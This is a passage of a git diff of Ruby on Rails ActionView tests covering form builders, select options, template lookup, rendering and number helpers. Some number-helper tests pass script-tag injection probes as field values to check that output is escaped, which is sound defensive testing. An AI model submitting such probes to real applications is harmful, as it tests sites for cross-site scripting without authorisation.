+ form_for(post, namespace: 'foo') do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "foo_new_post", "new_post") do
+ "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" +
+ "<label for='foo_post_active_true'>true</label>" +
+ "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" +
+ "<label for='foo_post_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_with_index_and_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" +
+ "<label for='post_1_active_true'>true</label>" +
+ "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" +
+ "<label for='post_1_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_form_for_with_collection_check_boxes
post = Post.new
def post.tag_ids; [1, 3]; end
@@ -1337,6 +1397,42 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_with_namespace_and_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1]; end
+ collection = [[1, "Tag 1"]]
+
+ form_for(post, namespace: 'foo') do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "foo_new_post", "new_post") do
+ "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='foo_post_tag_ids_1'>Tag 1</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_with_index_and_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1]; end
+ collection = [[1, "Tag 1"]]
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='post_1_tag_ids_1'>Tag 1</label>" +
+ "<input name='post[1][tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_form_for_with_file_field_generate_multipart
Post.send :attr_accessor, :file
@@ -1657,6 +1753,18 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_for_with_namespace_and_as_option
+ form_for(@post, namespace: 'namespace', as: 'custom_name') do |f|
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_custom_name', 'edit_custom_name', method: 'patch') do
+ "<input id='namespace_custom_name_title' name='custom_name[title]' type='text' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_two_form_for_with_namespace
form_for(@post, namespace: 'namespace_1') do |f|
concat f.label(:title)
@@ -1703,69 +1811,61 @@ class FormHelperTest < ActionView::TestCase
end
def test_submit_with_object_as_new_record_and_locale_strings
- old_locale, I18n.locale = I18n.locale, :submit
+ with_locale :submit do
+ @post.persisted = false
+ @post.stubs(:to_key).returns(nil)
+ form_for(@post) do |f|
+ concat f.submit
+ end
- @post.persisted = false
- @post.stubs(:to_key).returns(nil)
- form_for(@post) do |f|
- concat f.submit
- end
+ expected = whole_form('/posts', 'new_post', 'new_post') do
+ "<input name='commit' type='submit' value='Create Post' />"
+ end
- expected = whole_form('/posts', 'new_post', 'new_post') do
- "<input name='commit' type='submit' value='Create Post' />"
+ assert_dom_equal expected, output_buffer
end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
end
def test_submit_with_object_as_existing_record_and_locale_strings
- old_locale, I18n.locale = I18n.locale, :submit
+ with_locale :submit do
+ form_for(@post) do |f|
+ concat f.submit
+ end
- form_for(@post) do |f|
- concat f.submit
- end
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='commit' type='submit' value='Confirm Post changes' />"
+ end
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
- "<input name='commit' type='submit' value='Confirm Post changes' />"
+ assert_dom_equal expected, output_buffer
end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
end
def test_submit_without_object_and_locale_strings
- old_locale, I18n.locale = I18n.locale, :submit
+ with_locale :submit do
+ form_for(:post) do |f|
+ concat f.submit class: "extra"
+ end
- form_for(:post) do |f|
- concat f.submit class: "extra"
- end
+ expected = whole_form do
+ "<input name='commit' class='extra' type='submit' value='Save changes' />"
+ end
- expected = whole_form do
- "<input name='commit' class='extra' type='submit' value='Save changes' />"
+ assert_dom_equal expected, output_buffer
end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
end
def test_submit_with_object_and_nested_lookup
- old_locale, I18n.locale = I18n.locale, :submit
+ with_locale :submit do
+ form_for(@post, as: :another_post) do |f|
+ concat f.submit
+ end
- form_for(@post, as: :another_post) do |f|
- concat f.submit
- end
+ expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
+ "<input name='commit' type='submit' value='Update your Post' />"
+ end
- expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
- "<input name='commit' type='submit' value='Update your Post' />"
+ assert_dom_equal expected, output_buffer
end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
end
def test_nested_fields_for
@@ -2297,6 +2397,18 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_nested_fields_label_translation_with_more_than_10_records
+ @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
+
+ I18n.expects(:t).with('post.comments.body', default: [:"comment.body", ''], scope: "helpers.label").times(11).returns "Write body here"
+
+ form_for(@post) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.label(:body)
+ end
+ end
+ end
+
def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
comments = Array.new(2) { |id| Comment.new(id + 1) }
@post.comments = []
@@ -2899,18 +3011,6 @@ class FormHelperTest < ActionView::TestCase
assert_equal "fields", output
end
- def test_form_builder_block_argument_deprecation
- builder_class = Class.new(ActionView::Helpers::FormBuilder) do
- def initialize(object_name, object, template, options, block)
- super
- end
- end
-
- assert_deprecated(/Giving a block to FormBuilder is deprecated and has no effect anymore/) do
- builder_class.new(:foo, nil, nil, {}, proc {})
- end
- end
-
def test_form_for_only_instantiates_builder_once
initialization_count = 0
builder_class = Class.new(ActionView::Helpers::FormBuilder) do
@@ -2927,12 +3027,13 @@ class FormHelperTest < ActionView::TestCase
protected
def hidden_fields(method = nil)
- txt = %{<div style="margin:0;padding:0;display:inline">}
- txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+ txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+
if method && !%w(get post).include?(method.to_s)
txt << %{<input name="_method" type="hidden" value="#{method}" />}
end
- txt << %{</div>}
+
+ txt
end
def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
@@ -2956,4 +3057,11 @@ class FormHelperTest < ActionView::TestCase
def protect_against_forgery?
false
end
+
+ def with_locale(testing_locale = :label)
+ old_locale, I18n.locale = I18n.locale, testing_locale
+ yield
+ ensure
+ I18n.locale = old_locale
+ end
end
diff --git a/actionview/test/template/form_options_helper_test.rb b/actionview/test/template/form_options_helper_test.rb
index 8c90a58a84..fbafb7aa08 100644
--- a/actionview/test/template/form_options_helper_test.rb
+++ b/actionview/test/template/form_options_helper_test.rb
@@ -1,5 +1,4 @@
require 'abstract_unit'
-require 'tzinfo'
class Map < Hash
def category
@@ -7,8 +6,6 @@ class Map < Hash
end
end
-TZInfo::Timezone.cattr_reader :loaded_zones
-
class FormOptionsHelperTest < ActionView::TestCase
tests ActionView::Helpers::FormOptionsHelper
@@ -22,7 +19,7 @@ class FormOptionsHelperTest < ActionView::TestCase
def setup
@fake_timezones = %w(A B C D E).map do |id|
- tz = TZInfo::Timezone.loaded_zones[id] = stub(:name => id, :to_s => id)
+ tz = stub(:name => id, :to_s => id)
ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
tz
end
@@ -122,6 +119,26 @@ class FormOptionsHelperTest < ActionView::TestCase
)
end
+ def test_array_options_for_select_with_custom_defined_selected
+ assert_dom_equal(
+ "<option selected=\"selected\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+ options_for_select([
+ ['Richard Bandler', 1, { type: 'Coach', selected: 'selected' }],
+ ['Richard Bandler', 1, { type: 'Coachee' }]
+ ])
+ )
+ end
+
+ def test_array_options_for_select_with_custom_defined_disabled
+ assert_dom_equal(
+ "<option disabled=\"disabled\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+ options_for_select([
+ ['Richard Bandler', 1, { type: 'Coach', disabled: 'disabled' }],
+ ['Richard Bandler', 1, { type: 'Coachee' }]
+ ])
+ )
+ end
+
def test_array_options_for_select_with_selection
assert_dom_equal(
"<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
@@ -302,6 +319,16 @@ class FormOptionsHelperTest < ActionView::TestCase
)
end
+ def test_grouped_options_for_select_with_array_and_html_attributes
+ assert_dom_equal(
+ "<optgroup label=\"North America\" data-foo=\"bar\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\" disabled=\"disabled\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+ grouped_options_for_select([
+ ["North America", [['United States','US'],"Canada"], :data => { :foo => 'bar' }],
+ ["Europe", [["Great Britain","GB"], "Germany"], :disabled => 'disabled']
+ ])
+ )
+ end
+
def test_grouped_options_for_select_with_optional_divider
assert_dom_equal(
"<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
@@ -549,6 +576,21 @@ class FormOptionsHelperTest < ActionView::TestCase
)
end
+ def test_select_under_fields_for_with_block
+ @post = Post.new
+
+ output_buffer = fields_for :post, @post do |f|
+ concat(f.select(:category) do
+ concat content_tag(:option, "hello world")
+ end)
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option>hello world</option></select>",
+ output_buffer
+ )
+ end
+
def test_select_with_multiple_to_add_hidden_input
output_buffer = select(:post, :category, "", {}, :multiple => true)
assert_dom_equal(
@@ -776,6 +818,22 @@ class FormOptionsHelperTest < ActionView::TestCase
)
end
+ def test_select_not_existing_method_with_selected_value
+ @post = Post.new
+ assert_dom_equal(
+ "<select id=\"post_locale\" name=\"post[locale]\"><option value=\"en\">en</option>\n<option value=\"ru\" selected=\"selected\">ru</option></select>",
+ select("post", "locale", %w( en ru ), :selected => 'ru')
+ )
+ end
+
+ def test_select_with_prompt_and_selected_value
+ @post = Post.new
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option selected=\"selected\" value=\"two\">two</option></select>",
+ select("post", "category", %w( one two ), :selected => 'two', :prompt => true)
+ )
+ end
+
def test_select_with_disabled_array
@post = Post.new
@post.category = "<mus>"
diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb
index 70fc6a588b..18c739674a 100644
--- a/actionview/test/template/form_tag_helper_test.rb
+++ b/actionview/test/template/form_tag_helper_test.rb
@@ -12,13 +12,17 @@ class FormTagHelperTest < ActionView::TestCase
def hidden_fields(options = {})
method = options[:method]
+ enforce_utf8 = options.fetch(:enforce_utf8, true)
- txt = %{<div style="margin:0;padding:0;display:inline">}
- txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
- if method && !%w(get post).include?(method.to_s)
- txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ ''.tap do |txt|
+ if enforce_utf8
+ txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+ end
+
+ if method && !%w(get post).include?(method.to_s)
+ txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ end
end
- txt << %{</div>}
end
def form_text(action = "http://www.example.com", options = {})
@@ -110,6 +114,20 @@ class FormTagHelperTest < ActionView::TestCase
assert_dom_equal expected, actual
end
+ def test_form_tag_enforce_utf8_true
+ actual = form_tag({}, { :enforce_utf8 => true })
+ expected = whole_form("http://www.example.com", :enforce_utf8 => true)
+ assert_dom_equal expected, actual
+ assert actual.html_safe?
+ end
+
+ def test_form_tag_enforce_utf8_false
+ actual = form_tag({}, { :enforce_utf8 => false })
+ expected = whole_form("http://www.example.com", :enforce_utf8 => false)
+ assert_dom_equal expected, actual
+ assert actual.html_safe?
+ end
+
def test_form_tag_with_block_in_erb
output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
@@ -461,6 +479,11 @@ class FormTagHelperTest < ActionView::TestCase
assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
end
+ def test_button_tag_defaults_with_block_and_options
+ output = button_tag(:name => 'temptation', :value => 'within') { content_tag(:strong, 'Do not press me') }
+ assert_dom_equal('<button name="temptation" value="within" type="submit" ><strong>Do not press me</strong></button>', output)
+ end
+
def test_button_tag_with_confirmation
assert_dom_equal(
%(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
diff --git a/actionview/test/template/html_test.rb b/actionview/test/template/html_test.rb
new file mode 100644
index 0000000000..549c12c88c
--- /dev/null
+++ b/actionview/test/template/html_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class HTMLTest < ActiveSupport::TestCase
+ test 'formats returns symbol for recognized MIME type' do
+ assert_equal [:html], ActionView::Template::HTML.new('', :html).formats
+ end
+
+ test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+ foo = Mime::Type.lookup("foo")
+ assert_nil foo.to_sym
+ assert_equal ['foo'], ActionView::Template::HTML.new('', foo).formats
+ end
+
+ test 'formats returns string for unknown MIME type' do
+ assert_equal ['foo'], ActionView::Template::HTML.new('', 'foo').formats
+ end
+end
diff --git a/actionview/test/template/javascript_helper_test.rb b/actionview/test/template/javascript_helper_test.rb
index de6a6eaab3..4703111741 100644
--- a/actionview/test/template/javascript_helper_test.rb
+++ b/actionview/test/template/javascript_helper_test.rb
@@ -51,6 +51,13 @@ class JavaScriptHelperTest < ActionView::TestCase
assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
end
+ # Setting the :extname option will control what extension (if any) is appended to the url for assets
+ def test_javascript_include_tag
+ assert_dom_equal "<script src='/foo.js'></script>", javascript_include_tag('/foo')
+ assert_dom_equal "<script src='/foo'></script>", javascript_include_tag('/foo', extname: false )
+ assert_dom_equal "<script src='/foo.bar'></script>", javascript_include_tag('/foo', extname: '.bar' )
+ end
+
def test_javascript_tag_with_options
assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
javascript_tag("alert('hello')", :id => "the_js_tag")
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
index 073bd14783..4f7823045e 100644
--- a/actionview/test/template/lookup_context_test.rb
+++ b/actionview/test/template/lookup_context_test.rb
@@ -36,6 +36,11 @@ class LookupContextTest < ActiveSupport::TestCase
assert @lookup_context.formats.frozen?
end
+ test "provides getters and setters for variants" do
+ @lookup_context.variants = [:mobile]
+ assert_equal [:mobile], @lookup_context.variants
+ end
+
test "provides getters and setters for formats" do
@lookup_context.formats = [:html]
assert_equal [:html], @lookup_context.formats
@@ -68,7 +73,7 @@ class LookupContextTest < ActiveSupport::TestCase
test "delegates changing the locale to the I18n configuration object if it contains a lookup_context object" do
begin
- I18n.config = AbstractController::I18nProxy.new(I18n.config, @lookup_context)
+ I18n.config = ActionView::I18nProxy.new(I18n.config, @lookup_context)
@lookup_context.locale = :pt
assert_equal :pt, I18n.locale
assert_equal :pt, @lookup_context.locale
@@ -88,6 +93,20 @@ class LookupContextTest < ActiveSupport::TestCase
assert_equal "Hey verden", template.source
end
+ test "find templates with given variants" do
+ @lookup_context.formats = [:html]
+ @lookup_context.variants = [:phone]
+
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hello phone!", template.source
+
+ @lookup_context.variants = [:phone]
+ @lookup_context.formats = [:text]
+
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hello texty phone!", template.source
+ end
+
test "found templates respects given formats if one cannot be found from template or handler" do
ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
@lookup_context.formats = [:text]
@@ -249,15 +268,15 @@ class TestMissingTemplate < ActiveSupport::TestCase
e = assert_raise ActionView::MissingTemplate do
@lookup_context.find("foo", %w(parent child), true)
end
- assert_match %r{Missing partial parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
end
test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
e = assert_raise ActionView::MissingTemplate do
- details = {:handlers=>[], :formats=>[], :locale=>[]}
+ details = {:handlers=>[], :formats=>[], :variants=>[], :locale=>[]}
@lookup_context.view_paths.find("foo", "parent", true, details)
end
- assert_match %r{Missing partial parent/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ assert_match %r{Missing partial parent/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
end
end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
index 6e640889d2..adb888319d 100644
--- a/actionview/test/template/number_helper_test.rb
+++ b/actionview/test/template/number_helper_test.rb
@@ -8,21 +8,33 @@ class NumberHelperTest < ActionView::TestCase
assert_equal "555-1234", number_to_phone(5551234)
assert_equal "(800) 555-1212 x 123", number_to_phone(8005551212, area_code: true, extension: 123)
assert_equal "+18005551212", number_to_phone(8005551212, country_code: 1, delimiter: "")
+ assert_equal "+&lt;script&gt;&lt;/script&gt;8005551212", number_to_phone(8005551212, country_code: "<script></script>", delimiter: "")
+ assert_equal "8005551212 x &lt;script&gt;&lt;/script&gt;", number_to_phone(8005551212, extension: "<script></script>", delimiter: "")
end
def test_number_to_currency
assert_equal nil, number_to_currency(nil)
assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
- assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: "K&#269;", format: "%n %u", negative_format: "%n - %u")
+ assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: raw("K&#269;"), format: "%n %u", negative_format: "%n - %u")
+ assert_equal "&amp;pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "&pound;")
+ assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("1234567890.50", format: "<b>%n</b> %u")
+ assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", negative_format: "<b>%n</b> %u")
+ assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", 'negative_format' => "<b>%n</b> %u")
end
def test_number_to_percentage
assert_equal nil, number_to_percentage(nil)
assert_equal "100.000%", number_to_percentage(100)
+ assert_equal "100.000 %", number_to_percentage(100, format: '%n %')
+ assert_equal "&lt;b&gt;100.000&lt;/b&gt; %", number_to_percentage(100, format: '<b>%n</b> %')
+ assert_equal "<b>100.000</b> %", number_to_percentage(100, format: raw('<b>%n</b> %'))
assert_equal "100%", number_to_percentage(100, precision: 0)
assert_equal "123.4%", number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true)
assert_equal "1.000,000%", number_to_percentage(1000, delimiter: ".", separator: ",")
+ assert_equal "98a%", number_to_percentage("98a")
+ assert_equal "NaN%", number_to_percentage(Float::NAN)
+ assert_equal "Inf%", number_to_percentage(Float::INFINITY)
end
def test_number_with_delimiter
@@ -51,6 +63,31 @@ class NumberHelperTest < ActionView::TestCase
assert_equal "489.0 Thousand", number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
end
+ def test_number_to_human_escape_units
+ volume = { unit: "<b>ml</b>", thousand: "<b>lt</b>", million: "<b>m3</b>", trillion: "<b>km3</b>", quadrillion: "<b>Pl</b>" }
+ assert_equal '123 &lt;b&gt;lt&lt;/b&gt;', number_to_human(123456, :units => volume)
+ assert_equal '12 &lt;b&gt;ml&lt;/b&gt;', number_to_human(12, :units => volume)
+ assert_equal '1.23 &lt;b&gt;m3&lt;/b&gt;', number_to_human(1234567, :units => volume)
+ assert_equal '1.23 &lt;b&gt;km3&lt;/b&gt;', number_to_human(1_234_567_000_000, :units => volume)
+ assert_equal '1.23 &lt;b&gt;Pl&lt;/b&gt;', number_to_human(1_234_567_000_000_000, :units => volume)
+
+ #Including fractionals
+ distance = { mili: "<b>mm</b>", centi: "<b>cm</b>", deci: "<b>dm</b>", unit: "<b>m</b>",
+ ten: "<b>dam</b>", hundred: "<b>hm</b>", thousand: "<b>km</b>",
+ micro: "<b>um</b>", nano: "<b>nm</b>", pico: "<b>pm</b>", femto: "<b>fm</b>"}
+ assert_equal '1.23 &lt;b&gt;mm&lt;/b&gt;', number_to_human(0.00123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;cm&lt;/b&gt;', number_to_human(0.0123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;dm&lt;/b&gt;', number_to_human(0.123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;m&lt;/b&gt;', number_to_human(1.23, :units => distance)
+ assert_equal '1.23 &lt;b&gt;dam&lt;/b&gt;', number_to_human(12.3, :units => distance)
+ assert_equal '1.23 &lt;b&gt;hm&lt;/b&gt;', number_to_human(123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;km&lt;/b&gt;', number_to_human(1230, :units => distance)
+ assert_equal '1.23 &lt;b&gt;um&lt;/b&gt;', number_to_human(0.00000123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;nm&lt;/b&gt;', number_to_human(0.00000000123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;pm&lt;/b&gt;', number_to_human(0.00000000000123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;fm&lt;/b&gt;', number_to_human(0.00000000000000123, :units => distance)
+ end
+
def test_number_helpers_escape_delimiter_and_separator
assert_equal "111&lt;script&gt;&lt;/script&gt;111&lt;script&gt;&lt;/script&gt;1111", number_to_phone(1111111111, delimiter: "<script></script>")
@@ -72,6 +109,12 @@ class NumberHelperTest < ActionView::TestCase
assert_equal "100&lt;script&gt;&lt;/script&gt;000 Quadrillion", number_to_human(10**20, delimiter: "<script></script>")
end
+ def test_number_to_human_with_custom_translation_scope
+ I18n.backend.store_translations 'ts',
+ :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+ assert_equal "1.01 cm", number_to_human(0.0101, :locale => 'ts', :units => :custom_units_for_number_to_human)
+ end
+
def test_number_helpers_outputs_are_html_safe
assert number_to_human(1).html_safe?
assert !number_to_human("<script></script>").html_safe?
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
index 8cffe73cce..ca508abfb8 100644
--- a/actionview/test/template/render_test.rb
+++ b/actionview/test/template/render_test.rb
@@ -22,7 +22,7 @@ module RenderTestCases
def test_render_without_options
e = assert_raises(ArgumentError) { @view.render() }
- assert_match "You invoked render but did not give any of :partial, :template, :inline, :file or :text option.", e.message
+ assert_match(/You invoked render but did not give any of (.+) option./, e.message)
end
def test_render_file
@@ -41,6 +41,11 @@ module RenderTestCases
assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
end
+ def test_rendered_format_without_format
+ @view.render(:inline => "test")
+ assert_equal :html, @view.lookup_context.rendered_format
+ end
+
def test_render_partial_implicitly_use_format_of_the_rendered_template
@view.lookup_context.formats = [:json]
assert_equal "Hello world", @view.render(:template => "test/one", :formats => [:html])
@@ -58,7 +63,7 @@ module RenderTestCases
def test_render_template_with_a_missing_partial_of_another_format
@view.lookup_context.formats = [:html]
- assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+ assert_raise ActionView::Template::Error, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
@view.render(:template => "with_format", :formats => [:json])
end
end
@@ -299,6 +304,16 @@ module RenderTestCases
assert_equal "Hola: david", @controller_view.render('customer_greeting', :greeting => 'Hola', :customer_greeting => Customer.new("david"))
end
+ def test_render_partial_with_object_uses_render_partial_path
+ assert_equal "Hello: lifo",
+ @controller_view.render(:partial => Customer.new("lifo"), :locals => {:greeting => "Hello"})
+ end
+
+ def test_render_partial_with_object_and_format_uses_render_partial_path
+ assert_equal "<greeting>Hello</greeting><name>lifo</name>",
+ @controller_view.render(:partial => Customer.new("lifo"), :formats => :xml, :locals => {:greeting => "Hello"})
+ end
+
def test_render_partial_using_object
assert_equal "Hello: lifo",
@controller_view.render(Customer.new("lifo"), :greeting => "Hello")
@@ -376,7 +391,7 @@ module RenderTestCases
def test_render_ignores_templates_with_malformed_template_handlers
ActiveSupport::Deprecation.silence do
%w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
- assert File.exists?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
+ assert File.exist?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
end
end
@@ -439,7 +454,7 @@ module RenderTestCases
def test_render_partial_with_layout_raises_descriptive_error
e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
- assert_match "Missing partial /true with", e.message
+ assert_match "Missing partial /_true with", e.message
end
def test_render_with_nested_layout
diff --git a/actionview/test/template/resolver_patterns_test.rb b/actionview/test/template/resolver_patterns_test.rb
index 97b1bad055..575eb9bd28 100644
--- a/actionview/test/template/resolver_patterns_test.rb
+++ b/actionview/test/template/resolver_patterns_test.rb
@@ -20,7 +20,7 @@ class ResolverPatternsTest < ActiveSupport::TestCase
assert_equal [:html], templates.first.formats
end
- def test_should_return_all_templates_when_ambigous_pattern
+ def test_should_return_all_templates_when_ambiguous_pattern
templates = @resolver.find_all("another", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
assert_equal 2, templates.size, "expected two templates"
assert_equal "Another template!", templates[0].source
diff --git a/actionview/test/template/tag_helper_test.rb b/actionview/test/template/tag_helper_test.rb
index 802da5d566..fb016a52de 100644
--- a/actionview/test/template/tag_helper_test.rb
+++ b/actionview/test/template/tag_helper_test.rb
@@ -96,6 +96,10 @@ class TagHelperTest < ActionView::TestCase
assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
end
+ def test_cdata_section_with_string_conversion
+ assert_equal "<![CDATA[]]>", cdata_section(nil)
+ end
+
def test_cdata_section_splitted
assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
diff --git a/actionview/test/template/template_error_test.rb b/actionview/test/template/template_error_test.rb
index 91424daeed..3971ec809c 100644
--- a/actionview/test/template/template_error_test.rb
+++ b/actionview/test/template/template_error_test.rb
@@ -6,6 +6,13 @@ class TemplateErrorTest < ActiveSupport::TestCase
assert_equal "original", error.message
end
+ def test_provides_original_backtrace
+ original_exception = Exception.new
+ original_exception.set_backtrace(%W[ foo bar baz ])
+ error = ActionView::Template::Error.new("test", original_exception)
+ assert_equal %W[ foo bar baz ], error.backtrace
+ end
+
def test_provides_useful_inspect
error = ActionView::Template::Error.new("test", Exception.new("original"))
assert_equal "#<ActionView::Template::Error: original>", error.inspect
diff --git a/actionview/test/template/test_test.rb b/actionview/test/template/test_test.rb
index 108a674d95..5721ee6c6f 100644
--- a/actionview/test/template/test_test.rb
+++ b/actionview/test/template/test_test.rb
@@ -37,10 +37,20 @@ class PeopleHelperTest < ActionView::TestCase
def test_link_to_person
with_test_route_set do
- person = mock(:name => "David")
- person.class.extend ActiveModel::Naming
- expects(:mocha_mock_path).with(person).returns("/people/1")
+ person = Struct.new(:name) {
+ extend ActiveModel::Naming
+ def self.name; 'Mocha::Mock'; end
+ }.new "David"
+
+ the_model = nil
+ extend Module.new {
+ define_method(:mocha_mock_path) { |model, *args|
+ the_model = model
+ "/people/1"
+ }
+ }
assert_equal '<a href="/people/1">David</a>', link_to_person(person)
+ assert_equal person, the_model
end
end
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
index 9649f349cb..d6cfa997cd 100644
--- a/actionview/test/template/testing/fixture_resolver_test.rb
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -3,13 +3,13 @@ require 'abstract_unit'
class FixtureResolverTest < ActiveSupport::TestCase
def test_should_return_empty_list_for_unknown_path
resolver = ActionView::FixtureResolver.new()
